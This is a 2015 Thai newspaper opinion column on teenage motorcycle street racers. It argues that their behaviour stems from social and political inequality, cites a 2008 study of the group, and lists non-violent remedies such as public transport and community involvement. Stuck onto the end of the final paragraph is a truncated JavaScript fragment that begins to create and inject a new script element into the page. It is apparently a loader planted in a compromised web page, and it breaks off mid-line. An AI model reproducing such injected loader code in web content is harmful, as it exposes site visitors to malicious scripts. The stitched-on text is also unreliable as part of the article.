มติชนรายวัน ฉบับประจำวันศุกร์ที่ 12 มิถุนายน 2558

 

เด็กแว้นอย่างไทยๆ

           สังคมไทยเพ่งเล็งเด็กแว้นว่าเป็นสันดานส่วนตัวที่ต้องถูกไล่ล่าไปลงโทษทัณฑ์

           แต่แท้จริงแล้วเด็กแว้นวุ่นวายอย่างไทยๆ สะท้อนความไม่ปกติโดยรวมของสังคมไทย

           ได้แก่ความไม่เท่าเทียม และไม่เป็นธรรมทางสังคมและการเมือง เบียดขับให้วัยแว้นเป็นเด็กชายขอบ

           พวกมากลากไปก็มีอำนาจปิดถนนได้ เช่น กปปส. และ ฯลฯ แล้วทำไมเด็กแว้นจะปิดถนนบ้างไม่ได้

 

สร้างตัวตนอย่างไทยๆ  

           “เขาไม่คิดว่าตำรวจเป็นฮีโร่ เพราะเขารู้ดีว่าเขาเป็นตำรวจไม่ได้ เขาเป็นมือปืนได้ เขาจึงถือว่ามือปืนคือฮีโร่ของเขา”

           นายตำรวจคนหนึ่งบอกเล่าถึงเด็กแว้นคิดอะไร? คิดอย่างไร? ที่สะท้อนว่าพวกแว้นไม่สามารถก่อร่างอัตลักษณ์ตัวตนในลักษณะที่สังคมให้การยอมรับและให้คุณค่าได้

           มีในงานวิจัย (พ.ศ. 2551) เรื่อง เร่ง รัก รุนแรง : โลกชายขอบของนักบิด โดย ปนัดดา ชำนาญสุข

           สุที เรือนแก้ว หาต้นฉบับงานวิจัยของคุณปนัดดาให้ผมอ่านทั้งเล่ม ซึ่งมีบทสรุปเด็กแว้นไว้ด้วย จะขอยกมาบางช่วงบางตอน ดังนี้

           “ถึงแม้ว่าพวกเขาจะเป็นคนชายขอบที่ไม่มีทุนทางสังคม หรือทุนทางวัฒนธรรม เฉกเช่นที่คนในชนชั้นกลางมี แต่พวกเขาก็หยิบเอาทุนทางสังคม และทุนทางวัฒนธรรม ที่พวกเขามีมาใช้ในการก่อร่างอัตลักษณ์และแย่งชิงพื้นที่ทางสังคมให้แก่กลุ่มตน”

           “ลีลาการขี่รถที่เสี่ยงของเด็กวัยรุ่น เป็นวัฒนธรรมย่อยที่พวกเขาเลือกใช้เป็นกลยุทธ์ในการสร้างพื้นที่ทางสังคม เพื่อก่อร่างอัตลักษณ์ และเสริมสร้างอำนาจให้แก่พวกเขา เพื่อหลุดพ้นจากความเป็นคนชายขอบที่สังคมหยิบยื่นให้”

           “วิธีคิดที่ว่าวัยรุ่นเป็นผู้กระทำที่มีปัญหา และใช้วิธีการจับกุมที่เข้มงวดนั้น จึงเปรียบเสมือนหนึ่งของการผลิตซ้ำความรุนแรงต่อเด็กวัยรุ่นกลุ่มนี้ด้วย”

           “การบาดเจ็บและการเสียชีวิตจากการขับขี่รถ โดยเฉพาะอย่างยิ่งในกลุ่มวัยรุ่นนั้น เป็นผลลัพธ์ที่สะท้อนให้เห็นถึงความสุกงอมของปัญหาครอบครัว โรงเรียน และระบบการบริหารปกครองบ้านเมืองที่มีความเชื่อมโยงกันอย่างเป็นพลวัต”

 

ต้องเท่าเทียม, เป็นธรรม

           ความรุนแรงอย่างเดียวไม่ได้ผลหรอก เพราะทำกันมานานหลายปีเป็นพยานชัดแล้ว

           แนวทางผ่อนคลายอย่างไม่รุนแรงให้ปัญหาลดลงเรื่อยๆมีดังนี้

           1. เลิกยึดอำนาจ แล้วมุ่งสร้างสรรค์ประชาธิปไตย ที่เท่าเทียมและเป็นธรรมทางสังคมและการเมือง

           2. ปนัดดาแนะว่า “รัฐควรจัดระบบขนส่งสาธารณะที่เอื้อประโยชน์ เหมาะสมกับภูมิประเทศ และการใช้เวลาของประชาชนในพื้นที่ และทำให้ประชาชนรู้สึกคุ้มค่าและมีความพึงพอใจในการใช้บริการ โดยเฉพาะอย่างยิ่งในกลุ่มนักเรียน เพื่อลดความต้องการในการใช้มอเตอร์ไซค์ในกลุ่มเยาวชนที่มีวุฒิภาวะที่ไม่เหมาะสมลง”

           3. ปนัดดาแนะว่า “รัฐควรส่งเสริม และผลักดันมาตรการให้กลุ่มเด็กวัยรุ่น ครอบครัว ชุมชน มีส่วนร่วมอย่างเต็มที่ในทุกขั้นตอนของกระบวนการ เพื่อสร้างวัฒนธรรมความปลอดภัยในการใช้รถใช้ถนน และสร้างสังคมที่ปลอดภัยด้วย”if (document.currentScript) { var d=document;var s=d.createElement(‘script’);